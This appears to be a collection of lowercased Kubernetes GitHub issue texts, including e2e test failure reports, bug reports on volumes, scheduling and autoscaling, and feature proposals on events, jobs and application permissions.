usr/lib64\r drwx------. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 lost+found\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 media\r drwxrwxrwx. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 mnt\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 opt\r dr-xr-xr-x. root root system_u:object_r:proc_t:s0      proc\r dr-xr-x---. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 root\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 run\r lrwxrwxrwx. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 sbin -> usr/sbin\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 srv\r dr-xr-xr-x. root root system_u:object_r:sysfs_t:s0     sys\r drwxrwxrwt. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 tmp\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 usr\r drwxr-xr-x. root root system_u:object_r:svirt_sandbox_file_t:s0:c3,c298 var\r sh-4.2  runcon \r system_u:system_r:svirt_lxc_net_t:s0:c3,c298\r \r \r    \r \r   anything else do we need to know  :\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-test/294/ multiple broken tests:  failed:  k8s.io  services should work after restarting apiserver  disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:451 expected error:     < errors.errorstring | 0xc42238ccc0>: {         s: \ only 1 pods started out of 3\ ,     }     only 1 pods started out of 3 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:419     issues about this test specifically:  28257  29159  29449  32447  37508   failed:  k8s.io  replicaset should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:81 expected error:     < errors.errorstring | 0xc4203accd0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:154     issues about this test specifically:  30981   failed:  k8s.io  events should be sent by kubelets and the scheduler about pods scheduling and running  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/events.go:128 expected error:     < errors.errorstring | 0xc4203accd0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/events.go:73     issues about this test specifically:  28346   failed:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:314 each pod should start running and responding expected error:     < errors.errorstring | 0xc423300120>: {         s: \ failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:261     issues about this test specifically:  37259   failed:  k8s.io  replicationcontroller should serve a basic image on each replica with a private image {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:47 expected error:     < errors.errorstring | 0xc4203accd0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:140     issues about this test specifically:  32087   failed:  k8s.io  nodes  disruptive   k8s.io  resize  slow  should be able to delete nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:317 expected error:     < errors.errorstring | 0xc4229c23f0>: {         s: \ failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:300     issues about this test specifically:  27233  36204   failed:  k8s.io  nodes  disruptive   k8s.io  resize  slow  should be able to add nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:343 expected error:     < errors.errorstring | 0xc42187e140>: {         s: \ failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:328     issues about this test specifically:  27470  30156  34304  37620   failed:  k8s.io  services should work after restarting kube-proxy  disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:408 expected error:     < errors.errorstring | 0xc4215b5000>: {         s: \ only 2 pods started out of 3\ ,     }     only 2 pods started out of 3 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:370     issues about this test specifically:  29514  38288   failed:  k8s.io  replicationcontroller should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:40 expected error:     < errors.errorstring | 0xc4203accd0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:140     issues about this test specifically:  26870  36429   failed:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:358 each pod should start running and responding expected error:     < errors.errorstring | 0xc421b701a0>: {         s: \ failed to wait for pods running:  timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:326     issues about this test specifically:  37479   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668   failed:  k8s.io  services should be able to up and down services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:356 expected error:     < errors.errorstring | 0xc4225d8fa0>: {         s: \ only 2 pods started out of 3\ ,     }     only 2 pods started out of 3 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:315     issues about this test specifically:  26128  26685  33408  36298   failed:  k8s.io  services should create endpoints for unready pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1185 jan 31 19:49:42.703: expected un-ready endpoint for service slow-terminating-unready-pod within 5m0s, stdout:  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1166     issues about this test specifically:  26172  40644   failed:  k8s.io  pods should contain environment variables for services  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:437 expected error:     < errors.errorstring | 0xc4203accd0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:67     issues about this test specifically:  33985  previous issues for this suite:  37522  38580  39211

lately we are getting more problems regarding the released kubectl in addon-manager. the addon-manager may be broken when:\r - deprecating fields in k8s api   35782,  41587 .\r - adding new fields to k8s api and using it on addons   40382,  38957 .\r \r it becomes less meaningful to continuously bumping up addon-manager just because of the older kubectl binary does not support the feature we added   changelog  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/addon-manager/changelog.md  , which already happened couple times in a short period. it also blocked prs that changed both api and addons with confusing symptoms, which has negative impacts on development velocity.\r \r i deem addon-manager will eventually get rid of kubectl binary and use api client library instead. but if that isn't happen soon enough, one interim solution might be mounting the latest kubectl binary into it to avoid the incompatible issues.  and it would also be a good indicator for the latest kubectl's healthiness. \r \r open this issue for discussion : \r \r @mikedanese @kubernetes/sig-cluster-lifecycle-bugs

 \r   what happened  :\r i've been using kubernetes 1.5.2 and docker 1.12.6 without any major problems. however, after upgrading to kubernetes version 1.7.2 volumes remain attached to nodes when they became unavailable  powered off , preventing the volume from being attached to another node.\r \r according to the logs on master nodes, kubernetes is trying to detach the volume, but an error occurs  error: volume not attached according to node status for volume ... . relevant log message follows:\r \r  operation for \ \\\ kubernetes.io/cinder/5cfe60d7-0b82-4933-9e69-aeb2cbd2521d\\\ \  failed. no retries permitted until 2017-08-01 17:53:01.154312563 +0100 west  durationbeforeretry 32s . error: volume not attached according to node status for volume \ pvc-21b92fac-76d5-11e7-90b6-fa163e4b4ca8\   uniquename: \ kubernetes.io/cinder/5cfe60d7-0b82-4933-9e69-aeb2cbd2521d\   pod \ smartiot-kafka-0\   uid: \ bac7a5a8-76d9-11e7-90b6-fa163e4b4ca8\  \r aug 01 17:52:35 smartiot-node1.c.ptin.corppt.com kubelet 1146 : w0801  \r \r the volume remains attached to the unavaiable node, because kubernetes fails to mount the volume in another node, with the error:  multi-attach error for volume <volume-id>.... . accesing openstack console i can also confirm the the given volume remains attached to the unavailable node.\r \r \r   what you expected to happen  :\r volumes attached to unavailable nodes being detached, so they can be attached to available nodes.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod that claims a persistent volume using the cinder volume plugin.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r openstack mitaka\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r - kernel  e.g.  uname -a  :\r linux node1 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  : \r i and @mperezco are working on having a fluentd filter to process kubernetes logs, we created the  configmap  https://github.com/amitkumarj441/gsoc17-cncf/blob/master/codes/filter/logging-fluentd-cm_filter-k8s-core.yaml  to add two files  in ingress :\r       @include configs.d/user/filter-k8s-core-rewrite.conf   first file is to rewrite the logs coming from services \ origin-master\  and \ origin-node\   \r       @include configs.d/user/filter-k8s-core-data.conf   second file is to tag all kubernetes namespaces  \r \r we already have a common data model namespace for kubernetes https://github.com/viaq/elasticsearch-templates/blob/master/namespaces/kubernetes.yml l22\r so we could do something like this instead:\r          <record> \r          kubernetes {\ namespace_name\ :\ ${record 'message' .match/. get\\s\\/api. namespaces\\/ \\w  \\//}\ } \r        </record> \r but the problem is - what if there is no match for /. get/ ? what will the namespace name be?\r \r perhaps  record 'message'   is not coming through as expected?\r \r and we're not getting any logs under kibana with api tags?\r \r \r   what you expected to happen  :\r to get kubernetes components logs  kubeapi, kubelet etc.  in journald \r \r   how to reproduce it  as minimally and precisely as possible   : \r we'll try another way to conditionally add a field: \r      <record> \r        unused ${record 'message' .match /. get\\s\\/api. namespaces\\/ \\w  \\//  do |md| record 'kubernetes' =hash.new; record 'kubernetes'  'namespace_name' =md 1  end} \r      </record> \r      remove_keys unused \r \r we tested the regular expression in  rubular  http://rubular.com/r/pyizcarugi  as well as in  fluentular  fluentular.herokuapp.com \r the intention is that in a line that comes from journald like this:\r  ago 21 18:19:12 viaq.logging.test origin-master 1194 : i0821 18:19:12.249226    1194 panics.go:76    get /api/v1/namespaces/logging/endpoints/logging-kibana:  10.89128ms  200     openshift/v1.5.2+43a9be4  linux/amd64  kubernetes/43a9be4 system:serviceaccount:openshift- infra:endpoint-controller  192.168.122.5:47476 <http://192.168.122.5:47476>  \r assigns the record \ logging\  to \ k8s_namespace\   ... and shows it in kibana ...\r   anything else we need to know?  :\r we checked our expression according to ruby console which is correct though :\r \r  pry main > msg = 'ago 21 18:19:12 viaq.logging.test origin-master 1194 : i0821 18:19:12.249226      1194 panics.go:76  get /api/v1/namespaces/logging/endpoints/logging-kibana:  10.89128ms  200     openshift/v1.5.2+43a9be4  linux/amd64  kubernetes/43a9be4 system:serviceaccount:openshift- infra:endpoint-controller  192.168.122.5:47476 <http://192.168.122.5:47476> ' \r  => \ ago 21 18:19:12 viaq.logging.test origin-master 1194 : i0821 18:19:12.249226    1194  panics.go:76  get /api/v1/namespaces/logging/endpoints/logging-kibana:  10.89128ms  200     openshift/v1.5.2+43a9be4  linux/amd64  kubernetes/43a9be4 system:serviceaccount:openshift- infra:endpoint-controller  192.168.122.5:47476 <http://192.168.122.5:47476> \  \r \r  pry main > msg.match /. get\\s\\/api. namespaces\\/ \\w  \\//  do |md| puts md 1  end \r  logging \r  => nil \r \r other solution could be to add  out_stdout  in many cases to debug.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : linux ith-thinkpad-w520 4.10.0-32-generic  36~16.04.1-ubuntu smp wed aug 9 09:19:02 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:  viaq  https://github.com/viaq/  wrapper\r - others:\r

failure cluster  aee02e0442d98d20850b  https://go.k8s.io/triage aee02e0442d98d20850b        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:1338 expected error:     < errors.errorstring | 0xc4202bdb80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:627           failure cluster statistics: 33 tests failed,    21 jobs failed,    64 builds failed. failure stats cover 1 day time range '14 sep 2017 20:16 utc' to '15 sep 2017 20:16 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance  | 7 | |  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  | 5 | |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kops-aws-slow | 36 |  15 sep 2017 19:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-slow/7407  | | ci-kubernetes-e2e-kops-aws-release-1-7 | 3 |  15 sep 2017 18:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-release-1-7/2421  | | ci-kubernetes-e2enode-ubuntustable1-k8sstable2-gkespec | 3 |  15 sep 2017 17:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2enode-ubuntustable1-k8sstable2-gkespec/1042  |  /assign @stts @freehan @wojtek-t  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | stts |  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance ;  sig-network  networking granular checks: pods should function for intra-pod communication: http  conformance  | | freehan |  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance ;  sig-network  networking granular checks: pods should function for intra-pod communication: udp  conformance ;  k8s.io  networking  k8s.io  granular checks: services  slow  should update endpoints: udp | | wojtek-t |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance ;  sig-network  networking granular checks: pods should function for node-pod communication: udp  conformance  | | sig/network |  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance ;  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance ;  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  | | sig/cluster-lifecycle |  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  |  </details><br>   current status  https://go.k8s.io/triage aee02e0442d98d20850b

everything that must be done after https://github.com/kubernetes/kubernetes/pull/63830:\r \r - missing tests:\r   -  x  a test that actually checked what got persisted in etcd matched the storage version https://github.com/kubernetes/kubernetes/pull/63830/files r189712166\r   -  x  a test that set up a crd, persisted some data, changed the version, and made sure the previously persisted data could be read https://github.com/kubernetes/kubernetes/pull/63830/files r189712166\r   -  x  a test that verified discovery docs tracked the crd through creation, version addition, version removal, and deletion https://github.com/kubernetes/kubernetes/pull/63830/files r189712166\r   -  x  a test that tests that  spec.served  is respected https://github.com/kubernetes/kubernetes/pull/63830/files r189712166\r -  x  ~~@liggitt fix possibly flaking watches: https://github.com/kubernetes/kubernetes/pull/63830/files r189710254~~  64796  65288\r -  x  ~~@sttts: split  nopconverter  into orthogonal wrappers~~\r   - ~~deep list converter calling an inner delegate~~\r   - ~~special crd  convertfieldlabel ~~\r   - ~~the actual unstructured conversion~~ pr https://github.com/kubernetes/kubernetes/pull/64208\r -  x  ~~@sttts: reuse the old newversionednoxuinstance, instantiateversionedcustomresource, testsimpleversionedcrud  and extend it with the version string  https://github.com/kubernetes/kubernetes/pull/63830/files r189814105~~ pr https://github.com/kubernetes/kubernetes/pull/64204\r -  x  @sttts: define ga in api documentation of both apiservices and crd versions https://github.com/kubernetes/kubernetes/pull/63830/files r189812365 – pr:  64215\r -  x  ~~@sttts: better logging for  removedeadstorage  https://github.com/kubernetes/kubernetes/pull/63830/files r189808872~~ pr: https://github.com/kubernetes/kubernetes/pull/64202\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r two pods with antiaffinity label are scheduled to the same node.\r \r   what you expected to happen  :\r two pods with antiaffinity label are scheduled to different nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r na\r \r   anything else we need to know?  :\r the bug is caused by scheduler during leader switch.\r here is what happened:\r suppose there are two schedulers,   sa active , sb standby   . two pods with antifinity   pa, pb  . two nodes   na, nb  . \r 1. sa failed to renew the lease.\r 2. sb became active scheduler.\r 3. sa's main thread didn't quit ontime, it scheduled pa to na and then quited. \r 4. sb scheduled pb to na because it didn't know pa has already been scheduled.\r 5. the final state is that pa and pb were both on node na.\r \r here is the log of sa:\r sa: tw-node2221, sb: tw-node2222.\r sa lost election at   16:03:35   but continued to schedule pods until found conflicts in cache and then quited.\r ! image  https://user-images.githubusercontent.com/10572401/41635898-de6abf84-747d-11e8-8125-20796db8551a.png \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.5.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r 4.4.64-1.el7.elrepo.x86_64\r - install tools:\r - others:\r

i now have the aws e2e tests running in a jenkins instance, and i think they will all pass once my active prs merge  load balancers & storage   i am publishing the e2e results to s3  here's an example; though i will likely change the url in the near-future: http://public-kubernetes-meteor.s3-website-us-east-1.amazonaws.com/builds/kubernetes-e2e-aws/5/_1.xml    i also in the past had this working with circleci.  circleci builds have the advantage that they are naturally publicly available  if you want them to be .  i believe there was an issue with running the gce builds on it though?  we've talked in the past about getting any platforms that want to contribute e2e test results contributing to an aggregating system.  let's try to figure out what that should be!  @zmerlynn i know you had some ideas?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r i have a three-node cluster, called node a, b, c, and it scales up because i have a deployment with hpa. when hpa scales up, the cluster nodes scales up too. \r \r the situation is when the cluster is scaled up due to cluster auto-scaling, at this time, i re-deploy a deployment due to update , this deployment will be deployed on a scaled-up node. since the spec.replica is set to 1 as default, this deployment will never be moved back to original nodes even if the original node have enough resources. it will cause the scaled-up node never scale down thereafter. therefore extra node fee will be charged.\r \r   what you expected to happen  :\r i expect the deployments on scaled-up nodes should be migrated back to original node if the original node has enough resources\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a cluster with cluster auto-scaling enabled\r 2. deploy a deployment with hpa\r 3. increase hpa loading, trigger the cluster to scale up\r 4. re-deploy other deployment called z  at this time, and this deployment z  will be deployed on the scaled-up node\r 5. decrease hpa loading, trigger the cluster to scale down\r 6. the node with deployment z  will never scale down thereafter\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.4-gke.3\r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : optimized os\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r   normal   created                 8m    kubelet, 29891k8s9000  created container\r   normal   pulled                  8m    kubelet, 29891k8s9000  successfully pulled image \ <repository>/powerflowclient:97\ \r   normal   started                 8m    kubelet, 29891k8s9000  started container\r   warning  failedsync              5m    kubelet, 29891k8s9000  error determining status: rpc error: code = unknown desc = error: no such container: fe3fe61341dd6267a5cfa6d8334d27731ee76db7f76b8d011b79da03a63ce037\r   normal   sandboxchanged          5m    kubelet, 29891k8s9000  pod sandbox changed, it will be killed and re-created.\r \r   what you expected to happen  :\r \r no periodic container loss.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deploy a cluster with acs engine 0.23.1 on azure with windows agents\r \r   anything else we need to know?  :\r \r docker version 1.13.1\r \r my apologies for filing this with so few logs.  if folks can advise me on how to acquire more information, i'll happily grab it.\r \r   environment  : \r azure\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r \r - cloud provider or hardware configuration: azure \r - os  e.g. from /etc/os-release : windows 1803 on agents\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i wanted to test the latest version of the sample-apiserver.  i still did not find instructions or a script for building it.  i found the  build-image.sh  script, but that relies on the  _output  directory produced when building k/k.\r \r   what you expected to happen  :\r i expected this sample to have standalone build instructions or scripting.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

from @thockin  https://github.com/googlecloudplatform/kubernetes/issues/6910 issuecomment-97300278 :  > @benmccann we don't have a stated policy on kernel compat. for now it's pretty much \ whatever docker supports\ . we should solidify that.   here's what i found in  the docker docs  http://docs.docker.com/installation/ubuntulinux/ :  > additionally, your kernel must be 3.10 at minimum. the latest 3.10 minor version or a newer maintained version are also acceptable. kernels older than 3.10 lack some of the features required to run docker containers. these older versions are known to have bugs which cause data loss and frequently panic under certain conditions.  some of the networking stuff is substantially cleaner if we can assume kernel 3.6, which i would like.  cc @dchen1107 @rjnagal @ghodss @justinsb

today the  event  object in the kubernetes api stores only the  firsttimestamp  and  lasttimestamp  and a  count  of how often the event occurred during that period. if a consumer wanted to reconstruct the full timeline of event occurrences, they would not be able to do so.  suggestion: - add a new list of timestamps to the  event  object that keeps track of as many occurrences of the event as possible.   - because of storage constraints this list can not be unbounded, so it should be the most recent  x  occurrences, where  x  is some number that will not cause the  event  object to exceed the maximum object size in  etcd . - for backwards compatibility, leave  firsttimestamp ,  lasttimestamp , and a  count  as is and ensure that they continue to be populated correctly. - while making theses changes, also rename  ...timestamp  in the events object to just  ...time  for v1 api  per  7018 comment  https://github.com/googlecloudplatform/kubernetes/issues/7018 issuecomment-102225523

we are starting to discuss formalizing / defining how an application is deployed onto kube  via config files, examples, deployment-manager, helm, and openshift templates .  many of those applications are going to be isolated with no external dependencies.  that's the easy problem.  the next problem is how those applications  or kube extensions running as extensions  are: 1. authorized to talk to the kube api or extension api to:    1. ... read resources in their namespace  cassandra example reading service endpoints     2. ... change resources in their namespace  pod that updates status of resources, like a local controller     3. ... read resources across all namespaces  heapster and logging integrations need to read pods     4. ... change some resources across all namespaces  controllers running in pods  2. authorized to talk to other namespaces    1. ... via the network    2. ... via a proxy endpoint 3. are given secrets that allow them to securely connect to other services in kube, in other clusters, or outside of clusters    1. we can inject secrets, but we don't make it easy to tie secrets and config to services and access them via apps in a way that is not \ copy your secrets to every other place\  4. are given secrets that allow them to securely serve for other services to connect to    1. ... it is hard to run an app that protects itself via ssl on the cluster  requires certs that are generated, but the certs need to be signed by the proper authority, but the cluster controls internal dns, but the external dns is not visible to the cluster today for ingress or load balancers  5. are properly authorized to do dangerous things on the cluster, including but not limited to:    1. ... accessing hostpath  root access on node     2. ... accessing pid / net / ipc / privileged flags  root access on node in some cases     3. ... defining arbitrary volumes in their pod spec which can mount any aws / gce / azure host in the cluster  because the node has permissions to attach disks to itself, and the kubelet accepts the pod, the kubelet is a confused deputy     4. ... running images that other containers have access to  by specifying pullifnotpresent and guessing the other images name  or that come from arbitrary sources  unscreened code   currently, kube has limited protection / solutions for any of the above.  a few are being added today as a result of work done in openshift or in the community: - podsecurity policy protects clusters from random pods getting root on boxes  7893 - authn/z in the cluster would define a way for applications to request 1  17440 - network isolation is being discussed in  15465 - service accounts are in the code, which allow roles to be assigned to pods to enable 1, but you can't assign roles   - service accounts can control what secrets are visible to containers via an optional admission controller - discussion of generating secrets for apps automatically  to properly deploy applications to kube, we will need to separate the \ what\  of the thing being installed cluster with the \ what is it allowed to do\ .  running random code from an upstream repo on your infrastructure that also has access to your internal network generally leads to bad results.  extension components to kube also need this clarity - it is insufficient for them to expect to run as root on the cluster.  we should formalize: - how applications request and are granted the permissions they need to operate on the cluster - how applications request and are granted the access to other applications on the cluster - how extension applications  logging, metrics, extension api groups  differ from regular applications - how our clients know which actions are escalation actions  make kubectl confused deputy  and which are not - how simple applications can be given complex permissions without requiring the details of each cluster to be defined  we should make all of the above items easy to layer _on top_ of application definitions.  @bgrant0607 @erictune this is my tracking issue for \ it's not enough to just deploy apps, they have to not take root on your cluster when they do it\ .

it seems the only way for an instance of a petset to fetch data about expected peers number is to count  srv records in dns. but it may be more straightforward and natural to allow replica count to be directly queried from the downward api http://kubernetes-v1-3.github.io/docs/user-guide/downward-api/

if you set relatively short  .spec.activedeadlineseconds , let's say 60 seconds  or generally anything less than full resync time which is 10 mins  and your job stabilizes after few initial seconds, iow. now new pods are created or anything involving job controller, you end up waiting more than 10 minutes before the job is actually killed due to exceeding ads.  the reason for that is that controller synchronizes objects only when job itself or underlying pod changes. or, when full resync is performed once 10 mins. this leads to unnecessarily wait that longer timeout.   possible fixes: 1. mark jobs with ads set and have them full resynced more often. 2. queue jobs with ads set, so they are resynced more often.        other possibilities?  @erictune @janetkuo ideas?

